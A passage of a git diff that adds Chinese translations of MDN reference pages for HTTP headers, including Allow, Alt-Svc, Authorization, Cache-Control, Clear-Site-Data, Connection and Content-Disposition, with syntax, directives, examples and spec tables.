to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Age")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/allow/index.html b/files/zh-cn/web/http/headers/allow/index.html new file mode 100644 index 0000000000..9f087cd21d --- /dev/null +++ b/files/zh-cn/web/http/headers/allow/index.html @@ -0,0 +1,61 @@ +--- +title: Allow +slug: Web/HTTP/Headers/Allow +translation_of: Web/HTTP/Headers/Allow +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Allow</strong></code> 首部字段用于枚举资源所支持的 HTTP 方法的集合。</p> + +<p>若服务器返回状态码 {{HTTPStatus("405")}} <code>Method Not Allowed,则该首部字段亦需要同时返回给客户端。如果</code> <code>Allow</code> 首部字段的值为空,说明资源不接受使用任何 HTTP 方法的请求。这是可能的,比如服务器需要临时禁止对资源的任何访问。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Allow: <http-methods> +</pre> + +<h2 id="声明">声明</h2> + +<dl> + <dt><http-methods></dt> + <dd><a href="/en-US/docs/Web/HTTP/Methods">HTTP </a>请求方法的集合。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Allow: GET, POST, HEAD</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Allow", "7.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPStatus("405")}}</li> + <li>{{HTTPHeader("Server")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/alt-svc/index.html b/files/zh-cn/web/http/headers/alt-svc/index.html new file mode 100644 index 0000000000..556209bf86 --- /dev/null +++ b/files/zh-cn/web/http/headers/alt-svc/index.html @@ -0,0 +1,57 @@ +--- +title: Alt-Svc +slug: Web/HTTP/Headers/Alt-Svc +tags: + - HTTP + - HTTP Header +translation_of: Web/HTTP/Headers/Alt-Svc +--- +<p><strong><code style="white-space: nowrap;">Alt-Svc</code></strong> 全称为“Alternative-Service”,直译为“备选服务”。该头部列举了当前站点备选的访问方式列表。一般用于在提供 “QUIC” 等新兴协议支持的同时,实现向下兼容。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Alt-Svc: clear +Alt-Svc: <em><service-list></em>; ma=<em><max-age> +</em>Alt-Svc:<em> <service-list></em>; ma=<em><max-age></em>; persist=1 +</pre> + +<dl> + <dt><code><service-list></code></dt> + <dd>使用分号隔离的访问方式列表,格式形如:<code><em><service-name></em>="<em><host-name></em>:<em><port-number></em>"</code>。这里的<code><em><service-name></em></code>应当是一个有效的 {{Glossary("ALPN")}} 标识符。</dd> + <dt><code><max-age></code>{{Optional_Inline}}</dt> + <dd>当前访问方式的有效期,超过该时间后,服务端将不保证该访问方式依旧可用,客户端应当重新获取更新后的 Alt-Svc 列表。单位为秒,默认值为 24 小时(86400)。</dd> + <dt><code>persist</code>{{Optional_Inline}}</dt> + <dd>可选参数,用于标识当前访问方式在网络环境改变时或者会话间始终保持。</dd> + <dd></dd> +</dl> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">说明</th> + <th scope="col">状态</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(7838)}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>初始化定义。</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">本文中兼容性说明列表由结构化数据自动生成。如果您想为数据源贡献修改,请参阅 <a class="external external-icon" href="https://github.com/mdn/browser-compat-data" rel="noopener">https://github.com/mdn/browser-compat-data</a> 并提交 PR。</div> + +<p>{{Compat("http.headers.Alt-Svc")}}</p> + +<h2 id="引用">引用</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a>[在Web世界标记资源]</li> +</ul> diff --git a/files/zh-cn/web/http/headers/authorization/index.html b/files/zh-cn/web/http/headers/authorization/index.html new file mode 100644 index 0000000000..93ac17af54 --- /dev/null +++ b/files/zh-cn/web/http/headers/authorization/index.html @@ -0,0 +1,87 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +translation_of: Web/HTTP/Headers/Authorization +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议中的 <strong><code>Authorization</code></strong> 请求消息头含有服务器用于验证用户代理身份的凭证,通常会在服务器返回{{HTTPStatus("401")}} <code>Unauthorized</code> 状态码以及{{HTTPHeader("WWW-Authenticate")}} 消息头之后在后续请求中发送此消息头。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Authorization: <type> <credentials></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">验证类型</a>。 常见的是 <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"基本验证(Basic)"</a> 。其他类型包括: + <ul> + <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">在IANA机构注册的验证方案</a></li> + <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS服务器的验证方案 (<code>AWS4-HMAC-SHA256</code>)</a></li> + </ul> + </dd> + <dt><credentials></dt> + <dd>如果使用“基本验证”方案,凭证通过如下步骤生成: + <ul> + <li>用冒号将用户名和密码进行拼接(如:aladdin:opensesame)。</li> + <li>将第一步生成的结果用 <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> 方式编码(YWxhZGRpbjpvcGVuc2VzYW1l)。</li> + </ul> + + <div class="note"> + <p><strong>注意</strong>: Base64编码并不是一种加密方法或者hashing方法!这种方法的安全性与明文发送等同(base64可以逆向解码)。“基本验证”方案需要与HTTPS协议配合使用。</p> + </div> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +</pre> + +<p>请参考<a href="/en-US/docs/Web/HTTP/Authentication"> HTTP authentication</a> 来获取在Apache或nginx中使用HTTP基本验证方案加密保护站点的配置示例。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "Authorization", "4.2")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> + +<p>[ ... ]也可以看看<textarea></textarea>参见<br> + 参看</p> diff --git a/files/zh-cn/web/http/headers/cache-control/index.html b/files/zh-cn/web/http/headers/cache-control/index.html new file mode 100644 index 0000000000..0e11a8d059 --- /dev/null +++ b/files/zh-cn/web/http/headers/cache-control/index.html @@ -0,0 +1,184 @@ +--- +title: Cache-Control +slug: Web/HTTP/Headers/Cache-Control +tags: + - Cache-Control + - HTTP + - 请求头 +translation_of: Web/HTTP/Headers/Cache-Control +--- +<div>{{HTTPSidebar}}</div> + +<p><code><font face="Open Sans, Arial, sans-serif"> </font><strong>Cache-Control</strong></code> 通用消息头字段,被用于在http请求和响应中,通过指定指令来实现缓存机制。缓存指令是单向的,这意味着在请求中设置的指令,不一定被包含在响应中。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type </th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p>指令不区分大小写,并且具有可选参数,可以用令牌或者带引号的字符串语法。多个指令以逗号分隔。</p> + +<h3 id="缓存请求指令">缓存请求指令</h3> + +<p>客户端可以在HTTP请求中使用的标准 Cache-Control 指令。</p> + +<pre class="syntaxbox">Cache-Control: max-age=<seconds> +Cache-Control: max-stale[=<seconds>] +Cache-Control: min-fresh=<seconds> +Cache-control: no-cache +Cache-control: no-store +Cache-control: no-transform +Cache-control: only-if-cached +</pre> + +<h3 id="缓存响应指令">缓存响应指令</h3> + +<p>服务器可以在响应中使用的标准 Cache-Control 指令。</p> + +<pre class="syntaxbox">Cache-control: must-revalidate +Cache-control: no-cache +Cache-control: no-store +Cache-control: no-transform +Cache-control: public +Cache-control: private +Cache-control: proxy-revalidate +Cache-Control: max-age=<seconds> +Cache-control: s-maxage=<seconds> +</pre> + +<h3 id="扩展Cache-Control指令"> 扩展<code>Cache-Control</code>指令</h3> + +<p>拓展缓存指令不是核心HTTP缓存标准文档的一部分,使用前请注意检查<a href="#浏览器兼容性">兼容性</a>!</p> + +<pre class="syntaxbox">Cache-control: immutable +Cache-control: stale-while-revalidate=<seconds> +Cache-control: stale-if-error=<seconds> +</pre> + +<h2 id="指令">指令</h2> + +<h3 id="可缓存性">可缓存性</h3> + +<dl> + <dt><code>public</code></dt> + <dd>表明响应可以被任何对象(包括:发送请求的客户端,代理服务器,等等)缓存,即使是通常不可缓存的内容。(例如:1.该响应没有<code>max-age</code>指令或<code>Expires</code>消息头;2. 该响应对应的请求方法是 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST">POST</a> 。)</dd> + <dt><code>private</code></dt> + <dd>表明响应只能被单个用户缓存,不能作为共享缓存(即代理服务器不能缓存它)。私有缓存可以缓存响应内容,比如:对应用户的本地浏览器。</dd> + <dt><code>no-cache</code></dt> + <dd>在发布缓存副本之前,强制要求缓存把请求提交给原始服务器进行验证(协商缓存验证)。</dd> + <dt><code>no-store</code></dt> + <dd>缓存不应存储有关客户端请求或服务器响应的任何内容,即不使用任何缓存。</dd> +</dl> + +<h3 id="到期">到期</h3> + +<dl> + <dt><code>max-age=<seconds></code></dt> + <dd>设置缓存存储的最大周期,超过这个时间缓存被认为过期(单位秒)。与<code>Expires</code>相反,时间是相对于请求的时间。</dd> + <dt><code>s-maxage=<seconds></code></dt> + <dd>覆盖<code>max-age</code>或者<code>Expires</code>头,但是仅适用于共享缓存(比如各个代理),私有缓存会忽略它。</dd> + <dt><code>max-stale[=<seconds>]</code></dt> + <dd>表明客户端愿意接收一个已经过期的资源。可以设置一个可选的秒数,表示响应不能已经过时超过该给定的时间。</dd> + <dt><code>min-fresh=<seconds></code></dt> + <dd>表示客户端希望获取一个能在指定的秒数内保持其最新状态的响应。</dd> + <dt><code>stale-while-revalidate=<seconds></code> {{experimental_inline}}</dt> + <dd>表明客户端愿意接受陈旧的响应,同时在后台异步检查新的响应。秒值指示客户愿意接受陈旧响应的时间长度。</dd> + <dt><code>stale-if-error=<seconds></code> {{experimental_inline}}</dt> + <dd>表示如果新的检查失败,则客户愿意接受陈旧的响应。秒数值表示客户在初始到期后愿意接受陈旧响应的时间。</dd> +</dl> + +<h3 id="重新验证和重新加载">重新验证和重新加载</h3> + +<dl> + <dt><code>must-revalidate</code></dt> + <dd>一旦资源过期(比如已经超过<code>max-age</code>),在成功向原始服务器验证之前,缓存不能用该资源响应后续请求。</dd> + <dt><code>proxy-revalidate</code></dt> + <dd>与must-revalidate作用相同,但它仅适用于共享缓存(例如代理),并被私有缓存忽略。</dd> + <dt><code>immutable</code> {{experimental_inline}}</dt> + <dd>表示响应正文不会随时间而改变。资源(如果未过期)在服务器上不发生改变,因此客户端不应发送重新验证请求头(例如<code>If-None-Match</code>或I<code>f-Modified-Since</code>)来检查更新,即使用户显式地刷新页面。在Firefox中,immutable只能被用在 <code>https://</code> transactions. 有关更多信息,请参阅<a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">这里</a>。</dd> +</dl> + +<h3 id="其他">其他</h3> + +<dl> + <dt><code>no-transform</code></dt> + <dd>不得对资源进行转换或转变。<code>Content-Encoding</code>、<code>Content-Range</code>、<code>Content-Type</code>等HTTP头不能由代理修改。例如,非透明代理或者如<a href="https://support.google.com/webmasters/answer/6211428?hl=en">Google's Light Mode</a>可能对图像格式进行转换,以便节省缓存空间或者减少缓慢链路上的流量。<code>no-transform</code>指令不允许这样做。</dd> + <dt><code>only-if-cached</code></dt> + <dd>表明客户端只接受已缓存的响应,并且不要向原始服务器检查是否有更新的拷贝。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="禁止缓存">禁止缓存</h3> + +<p>发送如下响应头可以关闭缓存。此外,可以参考<code>Expires</code>和<code>Pragma</code>消息头。</p> + +<pre>Cache-Control: no-store +</pre> + +<h3 id="缓存静态资源">缓存静态资源</h3> + +<p>对于应用程序中不会改变的文件,你通常可以在发送响应头前添加积极缓存。这包括例如由应用程序提供的静态文件,例如图像,CSS文件和JavaScript文件。另请参阅Expires标题。</p> + +<pre>Cache-Control:public, max-age=31536000</pre> + +<h3 id="需要重新验证">需要重新验证</h3> + +<p>指定 <code>no-cache</code> 或 <code>max-age=0</code> 表示客户端可以缓存资源,每次使用缓存资源前都必须重新验证其有效性。这意味着每次都会发起 HTTP 请求,但当缓存内容仍有效时可以跳过 HTTP 响应体的下载。</p> + +<pre>Cache-Control: no-cache +Cache-Control: max-age=0</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + <tr> + <td>{{RFC("5861")}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-mcmanus-immutable-00">draft-mcmanus-immutable-00</a></td> + <td>HTTP Immutable Responses</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">此页面中的兼容性表是根据结构化数据生成的。如果你想为数据做出贡献,请访问 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并提交 pull request。</p> + +<p>{{Compat("http.headers.Cache-Control")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> + <li><a href="https://www.mnot.net/cache_docs/">Caching Tutorial for Web Authors and Webmasters</a></li> + <li>Guide: <em><a href="https://csswizardry.com/2019/03/cache-control-for-civilians"><code>Cache-Control</code> for civilians</a></em></li> + <li>{{HTTPHeader("Age")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/clear-site-data/index.html b/files/zh-cn/web/http/headers/clear-site-data/index.html new file mode 100644 index 0000000000..01aae20940 --- /dev/null +++ b/files/zh-cn/web/http/headers/clear-site-data/index.html @@ -0,0 +1,108 @@ +--- +title: Clear-Site-Data +slug: Web/HTTP/Headers/Clear-Site-Data +tags: + - HTTP + - http头 + - 头 +translation_of: Web/HTTP/Headers/Clear-Site-Data +--- +<p>{{HTTPSidebar}}</p> + +<p><strong><code>Clear-Site-Data</code></strong> 响应头,表示清除当前请求网站有关的浏览器数据(cookie,存储,缓存)。它让Web开发人员对浏览器本地存储的数据有更多控制能力。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p><code>Clear-Site-Data</code> 可以接受一个或多个参数,如果想要清除所有类型的数据,可以使用通配符(<code>"*"</code>) </p> + +<pre>// 单个参数 +Clear-Site-Data: "cache" + +// 多个参数 (用逗号分隔) +Clear-Site-Data: "cache", "cookies" + +// 通配 +Clear-Site-Data: "*" +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt id="cache"><code>"cache"</code></dt> + <dd>表示服务端希望删除本URL原始响应的本地缓存数据(即 :浏览器缓存,<a href="/en-US/docs/">请参阅HTTP缓存</a>)。根据浏览器的不同,可能还会清除预渲染页面,脚本缓存,WebGL着色器缓存或地址栏建议等内容。</dd> + <dt id="cookies"><code>"cookies"</code></dt> + <dd>表示服务端希望删除URL响应的所有cookie。 HTTP身份验证凭据也会被清除。会影响整个主域,包括子域。所以https://example.com以及https://stage.example.com的Cookie都会被清除。</dd> + <dt id="storage"><code>"storage"</code></dt> + <dd>表示服务端希望删除URL原响应的所有DOM存储。这包括存储机制,如 + <ul> + <li>localStorage (执行 <code>localStorage.clear</code>),</li> + <li>sessionStorage (执行 <code>sessionStorage.clear</code>),</li> + <li>IndexedDB (对每个库执行 {{domxref("IDBFactory.deleteDatabase")}}),</li> + <li>服务注册线程 (对每个服务之注册线程执行 {{domxref("ServiceWorkerRegistration.unregister")}}),</li> + <li><a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache,</a></li> + <li>WebSQL 数据库,</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">FileSystem API data</a>,</li> + <li>Plugin data (Flash via <code><a href="https://wiki.mozilla.org/NPAPI:ClearSiteData">NPP_ClearSiteData</a></code>).</li> + </ul> + </dd> + <dt id="executionContexts"><code>"executionContexts"</code></dt> + <dd>表示服务端希望浏览器重新加载本请求({{domxref("Location.reload")}}).</dd> + <dt><code>"*"</code> (通配符)</dt> + <dd>表示服务端希望清除原请求响应的所有类型的数据。如果在此头的未来版本中添加了更多数据类型,它们也将被涉及。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="登出">登出</h3> + +<p>如果用户退出您的网站或服务,您可能希望删除本地存储的数据。您可以通过在https://example.com/logout的响应头增加Clear-Site-Data,以达到目的:</p> + +<pre>Clear-Site-Data: "cache", "cookies", "storage", "executionContexts"</pre> + +<h3 id="清除cookie">清除cookie</h3> + +<p>如果它在https://example.com/clear-cookies的响应头中出现,则同一域 https://example.com和所有子域(如https://stage.example.com等)中的所有Cookie,将都被清除。</p> + +<pre>Clear-Site-Data: "cookies"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Title</th> + </tr> + <tr> + <td><a href="https://w3c.github.io/webappsec-clear-site-data">Clear Site Data</a></td> + <td>Working Draft</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("http.headers.Clear-Site-Data")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/connection/index.html b/files/zh-cn/web/http/headers/connection/index.html new file mode 100644 index 0000000000..49ed469262 --- /dev/null +++ b/files/zh-cn/web/http/headers/connection/index.html @@ -0,0 +1,55 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Connection +tags: + - HTTP + - Web + - 参考 + - 头部 +translation_of: Web/HTTP/Headers/Connection +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>Connection </strong>头(header) 决定当前的事务完成后,是否会关闭网络连接。如果该值是“keep-alive”,网络连接就是持久的,不会关闭,使得对同一个服务器的请求可以继续在该连接上完成。</p> + +<div class="blockIndicator note"> +<p> <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">特定于连接的标头字段(例如Connection)不得与HTTP / 2一起使用。</a></p> +</div> + +<p>除去标准的逐段传输(hop-by-hop)头({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}),任何逐段传输头都需要在 Connection 头中列出,这样才能让第一个代理知道必须处理它们且不转发这些头。标准的逐段传输头也可以列出(常见的例子是 {{HTTPHeader("Keep-Alive")}},但这不是必须的)。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Connection: keep-alive +Connection: close +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>close</code></dt> + <dd>表明客户端或服务器想要关闭该网络连接,这是HTTP/1.0请求的默认值</dd> + <dt></dt> + <dt>以逗号分隔的HTTP头 [通常仅有 <code>keep-alive</code>]</dt> + <dd>表明客户端想要保持该网络连接打开,HTTP/1.1的请求默认使用一个持久连接。这个请求头列表由头部名组成,这些头将被第一个非透明的代理或者代理间的缓存所移除:这些头定义了发出者和第一个实体之间的连接,而不是和目的地节点间的连接。</dd> + <dt></dt> +</dl> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">本页的兼容性表格是由结构数据生成的。如果您想为该数据做出贡献,请检出<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发出拉取请求(pull request)</p> + +<div>{{Compat("http.headers.Connection")}}</div> diff --git a/files/zh-cn/web/http/headers/content-disposition/index.html b/files/zh-cn/web/http/headers/content-disposition/index.html new file mode 100644 index 0000000000..abbd2dd7dc --- /dev/null +++ b/files/zh-cn/web/http/headers/content-disposition/index.html @@ -0,0 +1,138 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Headers/Content-Disposition +tags: + - 上传 + - 文件下载 + - 表单 + - 首部 +translation_of: Web/HTTP/Headers/Content-Disposition +--- +<div>{{HTTPSidebar}}</div> + +<div>在常规的 HTTP 应答中,<code><strong>Content-Disposition</strong></code> 响应头指示回复的内容该以何种形式展示,是以<strong>内联</strong>的形式(即网页或者页面的一部分),还是以<strong>附件</strong>的形式下载并保存到本地。</div> + +<div></div> + +<p>在 multipart/form-data 类型的应答消息体中,<strong><code>Content-Disposition</code></strong> 消息头可以被用在 multipart 消息体的子部分中,用来给出其对应字段的相关信息。各个子部分由在{{HTTPHeader("Content-Type")}} 中定义的<strong>分隔符</strong>分隔。用在消息体自身则无实际意义。</p> + +<p>Content-Disposition 消息头最初是在 MIME 标准中定义的,HTTP 表单及 {{HTTPMethod("POST")}} 请求只用到了其所有参数的一个子集。只有 <code>form-data</code> 以及可选的 <code>name</code> 和 <code>filename</code> 三个参数可以应用在HTTP场景中。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}} (for the main body)<br> + {{Glossary("General header")}} (for a subpart of a multipart body)</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<h3 id="作为消息主体中的消息头">作为消息主体中的消息头</h3> + +<p>在 HTTP 场景中,第一个参数或者是 <code>inline</code>(默认值,表示回复中的消息体会以页面的一部分或者整个页面的形式展示),或者是 <code>attachment</code>(意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 <code>filename</code> 的值预填为下载后的文件名,假如它存在的话)。</p> + +<pre class="syntaxbox notranslate">Content-Disposition: inline +Content-Disposition: attachment +Content-Disposition: attachment; filename="filename.jpg"</pre> + +<h3 id="作为multipart_body中的消息头">作为multipart body中的消息头</h3> + +<p>在 HTTP 场景中。第一个参数总是固定不变的 <code>form-data</code>;附加的参数不区分大小写,并且拥有参数值,参数名与参数值用等号(<code>'='</code>)连接,参数值用双引号括起来。参数之间用分号(<code>';'</code>)分隔。</p> + +<pre class="syntaxbox notranslate">Content-Disposition: form-data +Content-Disposition: form-data; name="fieldName" +Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre> + +<h3 id="指令">指令</h3> + +<dl> + <dt><code>name</code></dt> + <dd>后面是一个表单字段名的字符串,每一个字段名会对应一个子部分。在同一个字段名对应多个文件的情况下(例如,带有 {{htmlattrxref("multiple", "input")}} 属性的 <code>{{HTMLElement("input","<input type=file>")}}</code> 元素),则多个子部分共用同一个字段名。如果 name 参数的值为 <code>'_charset_'</code> ,意味着这个子部分表示的不是一个 HTML 字段,而是在未明确指定字符集信息的情况下各部分使用的默认字符集。</dd> + <dt><code>filename</code></dt> + <dd>后面是要传送的文件的初始名称的字符串。这个参数总是可选的,而且不能盲目使用:路径信息必须舍掉,同时要进行一定的转换以符合服务器文件系统规则。这个参数主要用来提供展示性信息。当与 <code>Content-Disposition: attachment</code> 一同使用的时候,它被用作"保存为"对话框中呈现给用户的默认文件名。</dd> + <dt>filename*</dt> + <dd> + <p>"filename" 和 "filename*" 两个参数的唯一区别在于,"filename*" 采用了 <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a> 中规定的编码方式。当 "filename" 和 "filename*" 同时出现的时候,应该优先采用 "filename*",假如二者都支持的话。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>以下是一则可以触发"保存为"对话框的服务器应答:</p> + +<pre class="notranslate">200 OK +Content-Type: text/html; charset=utf-8 +Content-Disposition: attachment; filename="cool.html" +Content-Length: 22 + +<HTML>Save me!</HTML> + +</pre> + +<p>这个简单的 HTML 文件会被下载到本地而不是在浏览器中展示。大多数浏览器默认会建议将 <code>cool.html</code> 作为文件名。</p> + +<p>以下是一个HTML表单的示例,展示了在 <code>multipart/form-data</code> 格式的报文中使用<code>Content-Disposition</code> 消息头的情况:</p> + +<pre class="notranslate">POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary--</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7578")}}</td> + <td>Returning Values from Forms: multipart/form-data</td> + </tr> + <tr> + <td>{{RFC("6266")}}</td> + <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td> + </tr> + <tr> + <td>{{RFC("2183")}}</td> + <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Disposition")}}</p> + +<h2 id="兼容性说明">兼容性说明</h2> + +<ul> + <li>在 <code>filename</code> 和 <code>filename*</code> 两个参数同时出现的情况下,Firefox 5 (比以前的版本)可以更好地处理 <code>Content-Disposition</code> 应答消息头。它会遍历所有提供的名称,假如 <code>filename*</code> 存在的话,就采用它的值,即使 <code>filename</code> 更靠前。之前的版本会采用出现在前面的参数的值,导致有更合适的名称而不被使用。参见{{bug(588781)}}.</li> +</ul> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li> + <li>{{HTTPHeader("Content-Type")}} 中定义了 multipart body 的分隔符</li> + <li>{{domxref("FormData")}} 接口可以用来操作在 {{domxref("XMLHttpRequest")}} API中使用的表单数据。</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-encoding/index.html b/files/zh-cn/web/http/headers/content-encoding/index.html new file mode 100644 index 0000000000..8efd45ab7a --- /dev/null +++ b/files/zh-cn/web/http/headers/content-encoding/index.html @@ -0,0 +1,98 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Headers/Content-Encoding +tags: + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Content-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Encoding</code></strong> 是一个实体消息首部,用于对特定媒体类型的数据进行压缩。当这个首部出现的时候,它的值表示消息主体进行了何种方式的内容编码转换。这个消息首部用来告知客户端应该怎样解码才能获取在 <code>Content-Type</code> 中标示的媒体类型内容。</p> + +<p>一般建议对数据尽可能地进行压缩,因此才有了这个消息首部的出现。不过对于特定类型的文件来说,比如jpeg图片文件,已经是进行过压缩的了。有时候再次进行额外的压缩无助于负载体积的减小,反而有可能会使其增大。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th 